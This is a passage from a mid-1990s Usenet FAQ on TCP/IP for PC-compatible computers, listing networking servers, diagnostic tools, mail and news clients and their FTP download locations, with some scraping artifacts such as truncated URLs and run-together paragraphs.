Windows Sockets for PC\/NFS free An implementation of Windows Sockets for PC\/NFS. Available at: ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wsck-nfs.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsck-nfs.zip *Suggestion WFTPD$15 (shareware)\n\nAn FTP daemon for Windows by Alun Jones (mailto:alun@fc.net)\nthat supports multiple logins, simultaneous transfers, runs\nover most Winsocks, and is RFC 959 and 1123 compliant. WFTPD\nalso allows the site to be read only; allows configurable\ntime-outs; can log to a file.\n\nAvailable at:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wftpd196.zip\nftp:\/\/oak.oakland.edu\/SimTel\/win3\/winsock\/wftpd196.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wftpd19c.zip\n\nDownright Speculation\nWinLPD Free\n\nAn lpd implementation for Windows. mailto:dog@inel.gov\n\nAvailable at:\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wslpd.zip\n\nDownright speculation\nText server\n\nThis is an extended finger client, which can also serve text\nfiles. Available at\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...ock\/txtsrv.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/txtsrv.zip\n\nRecommendation\nSMTP daemon v1.6 free\n\nA Windows-Sockets SMTP daemon, complete with source code.\nWorks fine. Available at:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...k\/wsmtpd16.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/wsmtpd16.zip\n\nmailto:iblenke@cip60.corp.harris.com\n\nWINDOWS NT SERVERS\n\nRecommendation\nWindows NT FTP daemon Free\n\nThis is a Windows NT version of ftpd. Quite fast.\nAvailable at:\nftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...ps\/nt-ftpd.zip\n\nRecommendation\nHTTPS v0.9 Free\n\nThis is a very powerful and easy to install HTTP server,\nprobably the best I've seen running under any OS.\nHTTPS is a Windows NT HTTP v1.0 server for Windows NT\nproduced as part of the European Microsoft Windows NT\nAcademic Centre (EMWAC). Binaries are available for\nIntel and DEC Alpha architectures. HTTPS is\nsupports Forms and CGI-BIN scripts, and runs as a Windows\nNT service.\n\nHTTPS (For HTTP Service) can be configured via the control\npanel, is integrated with the WAISS server, and logs HTTP\ntransactions in the event logger. Available at:\nftp:\/\/emwac.ed.ac.uk\/pub\/https\/HSI386.ZIP (Intel version),\nftp:\/\/emwac.ed.ac.uk\/pub\/https\/HSALPHA.ZIP (DEC Alpha version),\nftp:\/\/emwac.ed.ac.uk\/pub\/https\/HHTPS.TXT\n(description of the server)\n\nRecommendation\nGOPHERS v0.6 Free\n\nThis is a Windows NT Gopher server for Windows NT\nproduced as part of the European Microsoft Windows\nNT Academic Centre (EMWAC). Binaries are available\nfor Intel and DEC Alpha architectures. This gopher\nserver is multi-threaded, and runs as a Windows NT\nservice. It can be configured via the control panel.\nAvailable at:\nftp:\/\/emwac.ed.ac.uk\/pub\/gophers\/GSI386.ZIP (Intel version),\nftp:\/\/emwac.ed.ac.uk\/pub\/gophers\/GSALPHA.ZIP (DEC Alpha version),\nftp:\/\/emwac.ed.ac.uk\/pub\/gophers\/MESSAGE.TXT\n(description of the server)\n\nRecommendation\nWAISS v0.8 Free\n\nThis is a Windows NT WAIS server for Windows NT produced as\npart of the European Microsoft Windows NT Academic Centre\n(EMWAC). It inclues an indexing tool, WAISINDX that lets you\nindex documents in a number of formats. This is the easiest\nto set up WAIS server I've seen, and it is well integrated\nwith the Gopher and HTTP servers.\n\nBinaries are available for Intel and DEC Alpha\narchitectures. This WAIS server is multi-threaded, and\nruns as a Windows NT service. It can be configured via\nthe control panel. Available at:\nftp:\/\/emwac.ed.ac.uk\/pub\/waistool\nftp:\/\/emwac.ed.ac.uk\/pub\/waiss\n\nDownright speculation\nNT-Perl Free\n\nThis is a Windows NT implementation of Perl v4.036, ported by Intergraph.\n\nAvailable at:\nftp:\/\/emwac.ed.ac.uk\/pub\/ntperl.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...nt\/ntperlb.zip\n\nDownright speculation\nSOSSNT Free\n\nThis is a Winsock-compatible NFS server for NT v3.1. It is\nderived from SOSS originally written for PC-IP. Available\nat:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...\/sossntr3.zip.\n\nDownright speculation\nUUPC for NT Free\n\nThis is a version of UUCP running over either serial port\nor TCP\/IP, under Windows NT. Available via:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...t\/upc12bn1.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...t\/upc12bn2.zip\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...t\/upc12bn3.zip\nftp:\/\/ftp.clarkson.edu\/pub\/uupc\n\nDownright speculation\nSMTP Gateway for NT Free\n\nI have not a clue as to what this does, other than that its name\nsuggests some kind of SMTP gateway, and that it runs under Windows NT.\nIf you know what this does, please inform me. Available via:\nftp:\/\/winftp.cica.indiana.edu\/pub\/pc...t\/smtpgate.zip\n\nDownright speculation\nNNS Free\n\nThis is an NNTP server for Windows NT by Jeff Coffler,\nmailto:coffler@jeck.seattle.wa.us.\nAvailable via:\nftp:\/\/ftp.wa.com\/pub\/local\/ntnews\/nns.zip\n\nThis program includes an NT version of TIN, and requires a\n32-bit version of unzip that is available at the same FTP site.\n\nUNIX SERVERS\n\nRecommendation\nSamba v1.8 Free\n\nSamba includes a UNIX-based SMB file and print server,\nas well as a UNIX SMB client and a NetBIOS nameserver (NBNS).\nIt can be used with clients such as Windows for Workgroups,\nWindows NT, OS\/2, Pathworks, and LanManager for DOS. This\nmeans that it can attach to Windows NT and WFW servers or\nmount portions of the UNIX file system on these machines.\nYou can also print from UNIX to an SMB printer by adding\nsecurity, umask support, guest connections and system\nattribute mapping. Samba is being run under Linux,\nSunOS, Solaris, SVR4, Ultrix, OSF1, AIX, BSDI, NetBSD,\nSequent, HP-UX, SGI, FreeBSD, and NeXT.\n\nI just installed this on my UNIX machine, and I am ecstatic.\nI haven't gotten the print server to work yet (hints anyone?),\nbut I am sharing files between the UNIX machine and others\nrunning WFW and NT. Compared with publicly distributable NFS\nimplementations, this SMB-based solution integrates well with\nWindows, is easier to secure (transfers occur over TCP, not UDP)\nleaves the PCs with quite a bit more low memory (570K vs.\n470K for NFS), is more stable, and faster than most NFS\nimplementations to boot. What more could you ask for?\n\nNot only does Samba implement B-node technology, but it also\nappears to support P and M node technology via a UNIX implementation\nof the NetBIOS Name Server (NBNS), which runs as a daemon called\nnmbd. The SMB server, smbd, can either be called up by inetd\nor run as a daemon.\n\nOther nice features include proper locking as required by OLE2 apps. This\nis not yet handled by any NFS implementations. Only major deficit is\nthat browsing is not yet supported.\n\nAvailable at:\nftp:\/\/nimbus.anu.edu.au\/pub\/tridge\/s...-latest.tar.gz\n\nPUTTING BBSes ON THE INTERNET\n\nSuggestion\nMajor TCP\/IP\n\nTelnet\/RLogin and a native FTP client. This does not require use of a\nNovell server, or in fact, any \"nanny\" server.\n\nThe TCP\/IP stack used in the product can support up to 255 concurrent TCP\nsessions and has been tested with over 150 active connections at the same time.\n\nMajorTCP\/IP has been shipping since April 1st, and the FTP Client will be\nshipping by the One BBSCON '94.\n\nDigital Consulting Services; (212)697-7340, (800)899-2002,\nmailto:Nyvideo@gcomm.com\n\nWAN CONNECTIVITY\n\nSuggestion\nNiwot synchronous board $695 This Niwot synchronous adapter comes with a packet driver that works with PCROUTE or KA9Q, and can handle speeds up to T1. Niwot Networks, (303)444-7765 Suggestion RISCom N1 single port card$495\nN2 dual port card\n\nThis board is supported by BSD\/386, and supports HDLC at\n56 Kbps for connection to Cisco routers running PPP.\n\nSDL Communications, Inc.; (508)238-4490\n\nSuggestion\nLivingston Portmaster IRX-114 terminal servers\n\nLivingston Enterprises; (800)458-9966, fax: (510)426-8951,\nmailto:doug@livingston.com\n\nSuggestion\nMorning Star Routers\n\nMorning Star Technologies, Inc; (614)451-1883, (800)558-7827,\nfax: (614)459-5054, mailto:marketing@morningstar.com,\nmailto:support@morningstar.com, ftp archive: ftp:\/\/ftp.morningstar.com\/,\nWWW server: http:\/\/www.morningstar.com\/\n\nSuggestion\n\nThis is a reasonably priced T1 CSU\/DSU.\n\nCapella Networking; (415)591-3400, (408)225-2655, mailto:dstolz@capella.com\n\nTROUBLESHOOTING\n\nDownright Speculation\nWindows Ping free\n\nAvailable at:\nftp:\/\/ftp.usma.edu\/pub\/msdos\/winsock.files\/ws_ping.zip\nftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/ws_ping.zip\n\nJohn Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil\nNCOIC, Technology Integration Branch, Computer Science School,\nFT Gordon, GA 30905; (706)791-3245 AV:780-3245\n\n*Recommendation\nWS_Watch free\n\nA nifty little utility that lets you draw a network and then shows you\nsee when nodes go up and down. Can do ping, traceroute, telnet, nslookup\nand more. Available at: ftp:\/\/ftp.usma.edu\/pub\/msdos\/ and\nftp:\/\/ftp.cdrom.com\/.5\/winsock\/wswatch.zip\n\n*Downright Speculation\nSyslogd free\n\nA port of syslog to Windows. Useful for keeping track of error messages\ngenerated by routers, bridges, applications, etc. Available as:\nftp:\/\/ftp.cdrom.com\/.5\/winsock\/syslogd.zip\n\nDownright Speculation\nDOS Ping free\n\nAvailable at:\nftp:\/\/ftp.usma.edu\/pub\/msdos\/misc\/ping.exe\n\nDownright Speculation\nTraceroute free\n\nA version of traceroute for DOS, available at:\nftp:\/\/biochemistry.bioc.cwru.edu\/pub\/trumpet\/tcp201.zip\n\nThere are also versions of ping and traceroute included with Trumpet Winsock.\n\nDownright Speculation\nSNMP monitor Free\n\nAn SNMP monitor for Sun, available at:\nftp:\/\/sun.soe.clarkson.edu\/pub\/packe...s\/snmpsrc.zip.\nAlso available at ftp:\/\/enh.nist.gov\/misc\/snmpsrc.zip,\nftp:\/\/enh.nist.gov\/misc\/snmpsup.zip,\nftp:\/\/enh.nist.gov\/misc\/snmpsun.tar_Z\n\nSuggestion\nFergie and Gobbler Free\n\nFergie is a packet monitoring and grabbing tool that supports SNMP\nand supersedes Netmon, Spectre and Beholder. Tricklet is a set of SNMP\nutilities.\n\nThe last release of Fergie and Gobbler occurred on August 25, 1993.\nThe DNPAP research group has now moved on to more current topics\n(SNMP\/RMON etc.), and is no longer able to fully support this software.\n\nFergie and Gobbler are available at\nftp:\/\/dnpap.et.tudelft.nl\/pub\/Fergie\/frgbin2.zip.\nThe source code for Borland C is available at\nftp:\/\/dnpap.et.tudelft.nl\/pub\/Fergie\/frgsrc2.zip.\n\nTo get on the Fergie mailing list, mailto:request@dnpap.et.tudelft.nl\n\n*Suggestion\nBeholder - The Next Generation (BTNG) Free\n\nBTNG is an RMON compatible Ethernet monitor for OS\/2,\nSunOS and Ultrix. Tricklet is a set of SNMP utilities for\nOS\/2 and UNIX. To run these tools under OS\/2, you will need\nan Ethernet card with an NDIS driver for OS\/2. Available at:\nftp:\/\/dnpap.et.tudelft.nl\/pub\/btng\/btng51exe.zip (OS\/2 binaries)\nftp:\/\/dnpap.et.tudelft.nl\/pub\/btng\/btng51src.zip (OS\/2 source)\nftp:\/\/dnpap.et.tudelft.nl\/pub\/btng\/btng-5.1.tar.gz (SunOS)\nftp:\/\/dnpap.et.tudelft.nl\/pub\/btng\/tricklet-6.0a.zip (OS\/2 binaries)\nftp:\/\/dnpap.et.tudelft.nl\/pub\/btng\/tricklet-5.1.tar.gz (SunOS)\n\nSuggestion\nNetProbe Free\n\nAn unsupported utility from 3Com that can decode XNS,\nTCP\/IP, ICMP, AppleTalk, IPX\/SPX, SMB, and other protocols,\nPlus and Token Plus adapters. Available on CompuServe in\nthe 3Com forum as EPROBE.ZIP in lib 5, unsupported utilities.\n\nDownright Speculation\nNetwatch Free\n\nEssential network debugging tools for the PC. Available at\nftp:\/\/netlab.usu.edu\/netwatch.dir\/netwatch.exe.\n\nRecommendation\n\nThis is an Ethernet load monitor and packet analyzer\nthat gives all kinds of useful statistics on your network,\nincluding breakdowns by protocol (supports IP, NetWare, OSI,\nDECNet, NetBEUI), source or destination, ports, etc. Very useful.\n\nAvailable at ftp:\/\/oak.oakland.edu\/pub\/msdos\/lan\/ethld104.zip.\nAlso available at ftp:\/\/wsmr-simtel20.army.mil\/<msdos.lan>\/ethld104.zip.\n\nRecommendation\nEtherDump v1.04 Free\n\nThis is a tracing program, similar to TCPDump. However, the output\nisn't quite as sophisticated or easy to read, although it certainly\nis voluminous.\n\nAvailable at:\nftp:\/\/oak.oakland.edu\/pub\/msdos\/lan\/ethdp104.zip\nftp:\/\/wsmr-simtel20.army.mil\/<msdos.lan>\/ethdp104.zip\nftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/lan\/ethdp104.zip\n\nDownright speculation\n\nThis program collects Ethernet addresses and various statistics,\nincluding protocols used, IP and IPX address, AppleTalk name,\netc.\n\nAvailable at:\n\nSNMP\n\nSuggestion\nSNMPMAN\n\nSNMPMAN is an SNMP-based network monitoring\npackage written by Abner Correia, Jorge Pires,\nand Tiago Silva (snmpman@di.fc.ul.pt).\n\nInformation on SNMPMAN is available\nvia http:\/\/www.fc.ul.pt\/software\/snmpman.html.\n\nAvailable at:\nftp:\/\/ftp.fc.ul.pt\/pub\/networking\/snmp\/snmpman.zip\n\nLisboa (Departamento de Informatica), Campo Grande-Bloco\nC5, 1700 LISBOA, Portugal; voice: +351 1 7510003,\nfax: +351 1 7577831.\n\nRecommendation\nNetGuardian v1.1\n\nNetGuardian is an SNMP-based network monitoring\npackage written by Paulo Sergio Mena,\nRicardo Machado de Oliveira and Rui Santos Antonio,\n(netguard@di.fc.ul.pt). It requires Ling Thio\nand Dirk Wisse's WINSNMP.DLL.\n\nInformation on NetGuardian is available\nvia http:\/\/www.fc.ul.pt\/software\/netguard.html.\n\nAvailable at:\nftp:\/\/ftp.fc.ul.pt\/pub\/networking\/snmp\/netguard.zip\n\nLisboa (Departamento de Informatica), Campo Grande-Bloco\nC5, 1700 LISBOA, Portugal; voice: +351 1 7510003,\nfax: +351 1 7577831.\n\nUNCLASSIFIABLE (BUT INTERESTING) STUFF\n\nDownright speculation\nGIGO Free\n\nThis has nothing to do with TCP\/IP, but rather is a UUCP\npacket to FidoNet .PKT translator. For info,\nmailto:gigo-r@wmeonlin.sacbbx.com. Available at\nftp:\/\/ftp.netcom.com\/pub\/jfesler\/gigo.zip\n\nDownright speculation\nX-Ray\/Winsock API Trace\/Debugger $169 X-Ray\/Winsock is a debugger for the Windows Sockets API, which shows the interaction between a Windows application and theWinsock API in realtime. X-Ray displays Winsock API functions both before and after the call with parameters, constants and flags displayed according to their \"C\" header file equivalents. All \"send\" and \"recv\" data can be displayed in Hex and\/or ASCII. All pointers are checked for validity. X-Ray has a selectable circular or fixed trace buffer with 2000 event capacity. Applications that are X-Rayed do not need debug information such as Codeview or modifications to the application. X-Ray can be used at the customer site, using production versions of applications. X-Ray has a unique floating \"Details\" window that displays individual trace records. VCR style controls are used to selectively view any records currently in the trace buffer. The trace buffer can be searched for a parameter value, error code, or other information. Context-sensitive help is available for all Winsock API functions. X-Ray can trace Winsock functions occurring in multiple applications simul- taneously. Individual applications can be selected for tracing. X-Ray has multiple logging options, including DBWin and file. Available via: ftp:\/\/ftp.netcom.com\/pub\/sstinc\/xraywi12.zip ftp:\/\/winftp.cica.windows.edu\/pub\/wi...k\/xraywi12.zip ftp:\/\/ftp.cdrom.com\/.5\/cica\/winsock\/xraywi12.zip Chuck Eaton, S.S.T.Incorporated; (818)346-2784, fax: (818)346-7070; mailto:70233.2504@compuserve.com, mailto:sstinc@netcom.com ------------------------------ END OF PART 3 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp:\/\/ftp.zilker.net\/pub\/mailcom\/ WWW page: http:\/\/www.zilker.net\/users\/internaut\/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 4 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP\/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP\/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq\/part4 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 4, 4\/1\/95 DOS APPLICATIONS *Suggestion PPRD - LPD server for DOS v0.98 This turns an DOS machine to a dedicated LPD print server. It can handle up to 3 parallel ports. Serial printers can be handled by running LPTCOM, a TSR to divert parallel port output to a serial port. This can run on an 8088 machine with only a floppy drive. To enhance security, the client and server must be on the same subnet. It is available from: ftp:\/\/ftp.syd.dit.csiro.au\/pub\/ken\/pprd098.zip Suggestion IRC client free A client for Internet Relay Chat. Available at ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/irc\/irc100.zip Available at ftp:\/\/biochemistry.bioc.cwru.edu\/pub...et\/irc100.zip, ftp:\/\/biochemistry.bioc.cwru.edu\/pub...et\/ircabi.zip, ftp:\/\/biochemistry.bioc.cwru.edu\/pub\/trumpet\/irclwp.zip P. Tattam, Programmer; Psychology Department, University of Tasmania, Hobart, Tasmania, Australia, 61-02-202346; mailto:peter@psychnet.psychol.utas.edu.au Recommendation WAIS for DOS free A DOS WAIS client which uses the Clarkson drivers is available at ftp:\/\/sunsite.unc.edu\/pub\/packages\/i...OS\/pcdist.zip. A DOS WAIS client that requires the PC\/TCP software from FTP Software is available at ftp:\/\/oac.hsc.uth.tmc.edu\/public\/dos\/misc\/oacwais.exe. For information, contact: Steven E. Newton, Office of Academic Computing, University of Texas Health Science Center, Houston, mailto:snewton@oac.hsc.uth.tmc.edu. There is also a Novell LAN Workplace WAIS client available at ftp:\/\/ftp.oit.unc.edu\/pub\/WAIS\/UNC\/nov-cli-visual.zip. Suggestion PDCLKSET Free Requiring a packet driver, this software sets your PC clock via an Internet time server.It also offers several useful network testing functions. Supports ping, and can build an arp table of nodes on the subnet. Available at ftp:\/\/oak.oakland.edu\/pub\/msdos\/pkdrvr\/pdclk207.zip Suggestion NCSA Telnet Free Available at ftp:\/\/zaphod.ncsa.uiuc.edu\/PC\/Telnet\/msdos\/tel2307b.zip (binaries) ftp:\/\/zaphod.ncsa.uiuc.edu\/PC\/Telnet\/msdos\/tel2307s.zip (sources) Also available at ftp:\/\/wsmr-simtel20.army.mil\/PD1:<MSDOS.PKTDRVR>\/tel2307b.zip Compatible with LocalTalk. A PPP FAQ is available at ftp:\/\/merit.edu\/pub\/ppp\/pppfaq Recommendation MS-Kermit Free This version of Kermit supports telnet, VT320 and Tektronix emulation, as well as SIXEL. It incorporates the WATTCP stack, and also runns over Novell's LWP\/DOS+Telapi, FTP Inc's PC\/TCP+Tnglass, Beame & Whiteside's TCP\/IP stack; DEC Pathworks, as well as over NetBIOS. It supports Int 14h as well as Int 6Bh, and can run over packet drivers. Available at ftp:\/\/kermit.cc.columbia.edu\/kermit\/bin\/msvibm.zip, ftp:\/\/kermit.cc.columbia.edu\/kermit\/bin\/msvibm.pif (Windows PIF file for MS-DOS Kermit) Downright speculation PCUCP Free This is a Windows v3.1 application that allows multiple open text windows at the UNIX end. It is available at ftp:\/\/winftp.cica.indiana.edu\/pub\/pc...\/pcucp11a.zip. Recommendation CUTCP Telnet Free CUTCP is the premiere DOS telnet application. Aside from VT100, and Tektronxi emulation, CUTCP also handles 3270 emulation. The latest release has added ping and ODI support. Now supported by Rutgers University, having been tranferred from Clarkson University and Brad Clements. This directory contains the source and binary distributions, both in zip archives. For information contact mailto:cutcp-support@ftp-ns.rutgers.edu. Available at ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/c...nt\/cutcp-b.zip (Documentation and binaries), ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/c...nt\/cutcp-s.zip (Source, documentation, and binaries). Downright speculation Clarkson Archie Free Available at ftp:\/\/omnigate.clarkson.edu\/pub\/cutcp\/archie.zip Suggestion Princeton Telnet Free The Princeton version of Telnet supports localtalk cards and also does tn3270 access. Works on all localtalk cards (Sitka, Daystar, Farallon, ... ) Available at ftp:\/\/pusun3.princeton.edu\/pub\/PU2-2TN\/pu2-2tn.zip Recommendation Clarkson Charon IPX\/TCP email and printer gateway v4.0 Charon is a gateway widely used with Pegasus mail. Available at ftp:\/\/omnigate.clarkson.edu\/pub\/cutcp\/charon40.zip, ftp:\/\/sun.soe.clarkson.edu\/pub\/cutcp\/charon.zip Recommendation Phone package Free A phone dialer package for DOS that was written to run with the UMSLIP driver. Be aware that UMSLIP does not work with PKTMUX. Available at ftp:\/\/ftp.ncsa.uiuc.edu\/pub\/pc\/slip\/sliparc.exe, ftp:\/\/ftp.ncsa.uiuc.edu\/pub\/pc\/slip\/phone.doc IP ADDRESS ASSIGNMENT Recommendation CIRA RARP server Free This is a RARP server that runs under DOS, and can give out an IP address from a pool. I have run it, and it is reliable. Available as ftp:\/\/pine.circa.ufl.edu\/pc\/rarp\/rarp.zip. Recommendation RARP client Free This is a RARP client that can store the retrieved IP address in a DOS environmental variable, for later substitution into a file. Available as ftp:\/\/pine.circa.ufl.edu\/pc\/rarpset.zip. Recommendation BOOTPQ v1.2 Free BOOTPQ is a BOOTP client that can take an IP address extracted via BOOTP and put it into a DOS environmental variable. Available as ftp:\/\/biochemistry.cwru.edu\/pub\/dos\/bootpq12.zip Downright Speculation BOOTP Free Frankly, I have never gotten this thing to work. A bootp server available via ftp:\/\/biochemistry.cwru.edu\/pub\/dos\/bootp.zip or ftp:\/\/ftp-ns.rutgers.edu\/pub\/msdos\/wattcp\/bootp.zip Recommendation BOOTP for UNIX What if you want to provide configuration info to PCs supporting BOOTP? What you need is the CMU BOOTP server, available via: ftp:\/\/lancaster.andrew.cmu.edu\/pub\/bootp.2.1.tar.Z Tip for the BOOTP deprived: remember that if you setup multiple BOOTP servers, you need to sync up the configuration information. If servers put out conflicting BOOTP replys, then the first reply will take precedence. *Downright Speculation BOOTP Forwarder NLMs Novell offers a BOOTP forwarder NLM, known as BOOTPFWD.NLM; this relays BOOTP packets from one network to another. You can obtain this via a NetWare 3.11 TCP\/IP upgrade on NetWire, or via ftp:\/\/ftp.novell.com. There is also another similar NLM, known as BOOTPFD.NLM. This is available as: ftp:\/\/sjf-lwp.sjf.novell.com\/nw311\/BOOTP-relay Recommendation Talk v1.2 Free A DOS Talk client running over packet drivers. Available as: ftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/talk-12.zip Recommendation PC Gopher III Free An MS-DOS client for the Gopher information server. Be aware that you must load WINPKT.COM (or PKTMUX if you are running multiple TCP\/IP applications) to get this program to work under Windows. The code for PC Gopher III has also been incorporated into Minuet. Available at ftp:\/\/boombox.micro.umn.edu\/pub\/goph...s\/pcgopher.txt ftp:\/\/boombox.micro.umn.edu\/pub\/goph...ient\/00README, also: ftp:\/\/biochemistry.cwru.edu\/pub\/dos\/pcg3.zip, ftp:\/\/biochemistry.cwru.edu\/pub\/dos\/pcg3doc.zip WINPKT is available at ftp:\/\/biochemistry.micro.umn.edu\/pub...dos\/winpkt.com Downright Speculation Uwho Free Uwho is Stan Barber's interface to whois and ph e-mail address servers that runs under MS-DOS. An alpha test version is available at ftp:\/\/punisher.caltech.edu\/pub\/dank\/...who218b.tar.Z, ftp:\/\/punisher.caltech.edu\/pub\/dank\/uwho\/uwho218b.zip, or unarchived in ftp:\/\/punisher.caltech.edu\/pub\/dank\/uwho218b\/ The archived text files are in Unix format. Recommendation DOS Trumpet v1.06b Shareware,$10.\n\nTrumpet is an NNTP newsreader for DOS that can be placed on a\nNetWare server, while storing news groups and configuration\nfiles in each user's directory. It supports packet drivers,\nLAN WorkPlace for DOS, and Trumpet ABI.\n\nAvailable at ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/dostrump\/trmp106b.zip\nAvailable at ftp:\/\/biochemistry.bioc.cwru.edu\/pub...\/trmp106b.zip,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub...t\/newsabi.zip,\nftp:\/\/biochemistry.bioc.cwru.edu\/pub...et\/newslwp.zip\n\nContact: mailto:peter@psychnet.psychol.utas.edu.au\n\nTrumpet will be charged by the total number of users who\nas being one organization located within a radius of10 km.\n\nThe pricing structure is:\n\n1-99 users $10 US per user 100-999 users$1000 US + $2 US per additional user above 100 1000-4999 users$2800 US + $0.20 US per additional user over 1000 5000+$3600 US\n\nP. Tattam, Programmer; Psychology Department, University of\nTasmania, Hobart, Tasmania, Australia, 61-02-202346;\nmailto:peter@psychnet.psychol.utas.edu.au\n\nDownright Speculation\n\nThis is a PC client for the Macintosh Broadcast program, by Kai Getrost.\n\nAvailable at ftp:\/\/caisr2.caisr.cwru.edu\/pub\/net\/bdcst11.zip\n\nSuggestion\nDOSLynx free\n\nThis is a textual browser for WWW that requires a class 1 packet\ndriver, and includes its own built-in TCP\/IP stack. It can call\nexternal viewers but does not allow viewing of inline images.\nIt is compatible with EtherSLIP or EtherPPP, but takes up quite\na bit of memory, leaving little left over for documents on a\n640K machine. Available via:\n\nSuggestion\nNuPOP\/PC free\n\nIn addition to a POP\/SMTP mail client that supports MIME, NuPOP\ncontains an FTP client, a Ph (phonebook) client, a Gopher client,\na news reader, a Telnet client, and an LPR (print) client.\nVersion of NuPOP are also available that support Wollongong\nTCP kernel, WATTCP kernel, and Trumpet ABI TCP kernel.\nCan be gotten to support LocalTalk via the provided LocalTalk\ndriver. Do not use the Clarkson drivers for this. By the way,\nNuPOP also supports serial access, as well as running over TCP\/IP.\n\nAvailable at ftp:\/\/ftp.acns.nwu.edu\/pub\/nupop\/nupoprea.zip (real mode executable)\nftp:\/\/ftp.acns.nwu.edu\/pub\/nupop\/nupoppro.zip (protected mode executable)\n\nIf you want the news reading and MIME support, you must first\ninstall the protected mode version described above, and then\ninstall the following over it.\nftp:\/\/ftp.acns.nwu.edu\/pub\/nupop\/nup...e\/nupop210.zip\nor if you get the real mode executable:\nftp:\/\/ftp.acns.nwu.edu\/pub\/nupop\/nup...se\/real210.zip\n\nSuggestion\nPOPmail-PC v3.2.2\n\nThis is the package included with SLIPDISK. Supports Ethernet,\nAppleTalk, and SLIP. Use the AppleTalk driver that works with NuPOP.\n\nAvailable at\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/p...m\/popmail.exe,\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/p...am\/popmail.hlp\n\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/p...ls\/manual.asc,\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/p...m\/popmail.doc,\nftp:\/\/boombox.micro.umn.edu\/pub\/pc\/p...am\/popmail.sty\n\nA POP3 server for VMS and MS-DOS client software is available at\nftp:\/\/logos.ucs.indiana.edu\/INDEX\n\nRecommendation\nMinuet\n\nA smorgasbord of DOS TCP\/IP applications, including gopher, mail,\nftp, news, and telnet, Minuet includes code from PC Gopher III,\nand POPmail. It supports multiple windows, as well as Ethernet,\nAppleTalk and SLIP packet drivers. Use the AppleTalk driver\nthat works with NuPOP. Since Minuet does so much, and does\nit well, you may not want to use anything else, unless you\ndon't have enough RAM for it.\n\nAvailable at ftp:\/\/boombox.micro.umn.edu\/pub\/pc\/minuet\/minuarc.exe\n\nSuggestion\nPC-Pine v3.88 Free\n\nThis is a PC-compatible version of Pine, running under DOS.\nThere are versions written for FTP Software's PC\/TCP, Novell's\nLan WorkPlace for DOS, and WATTCP.\n\nAvailable at ftp:\/\/ftp.cac.washington.edu\/mail\/pcpine_p.zip\n(WATTCP version),\nftp:\/\/ftp.cac.washington.edu\/mail\/pcpine_n.zip (Novell LWP),\nftp:\/\/ftp.cac.washington.edu\/mail\/pcpine_f.zip (FTP PC\/TCP)\n\nNote that PC Pine relys on the Interactive Mail Access Protocol\n(IMAP2) rather than POP. You must have an IMAP server installed\nin order to use it. IMAPd is available at\nftp:\/\/ftp.cac.washington.edu\/mail\/imap.tar.Z\n\nFor a listing of other IMAP-compatible clients, get\nftp:\/\/ftp.cac.washington.edu\/mail\/imap.software.\n\nDownright speculation\nPh client\n\nUniversity of Illinois CCSO name server client.\n\nAvailable at ftp:\/\/uxc.cso.uiuc.edu\/net\/ph\/dos\/pcph.com,\n\nDownright Speculation\nFTPNuz $10\/shareware Gene Mangum's shareware newsreader for DOS, which requires FTP Software's PC\/TCP kernel. Runs under MS-DOS, as well as in a DOS window under MS Windows and OS\/2. Features include support for NNTP,pull-down menus, reading and posting of news, reply by mail via SMTP. Available at ftp:\/\/calvin.sfasu.edu\/pub\/dos\/netwo...p\/ftpnuz10.zip Gene Mangum; mailto:h198@hosp.med.umich.edu NFS Downright speculation NFS Client Business users$20 (Shareware)\nHome or Ed. use $15 (Shareware) This a shareware NFS client by Mike Durkin. The shareware fee includes the right to a year's worth of free upgrades. All TCP\/IP stack versions of it are available under one license. Site license discounts start at 20 machines. I have tried this, and it works well. The latest version includes a built-in packet multiplexer in the WATTCP version. Other features include the ability support for remote printing using pcnfsd or bwnfsd. Available at: ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/bugs.lst (Known and recently fixed bugs list) ftp:\/\/polyslo.calpoly.edu\/pub\/mdurkin\/nfs\/nfs025-m.zip ftp:\/\/ftp.cdrom.com\/.2\/SimTel\/msdos\/nfs\/nfs025-m.zip (MS-DOS NFS client for Microsoft 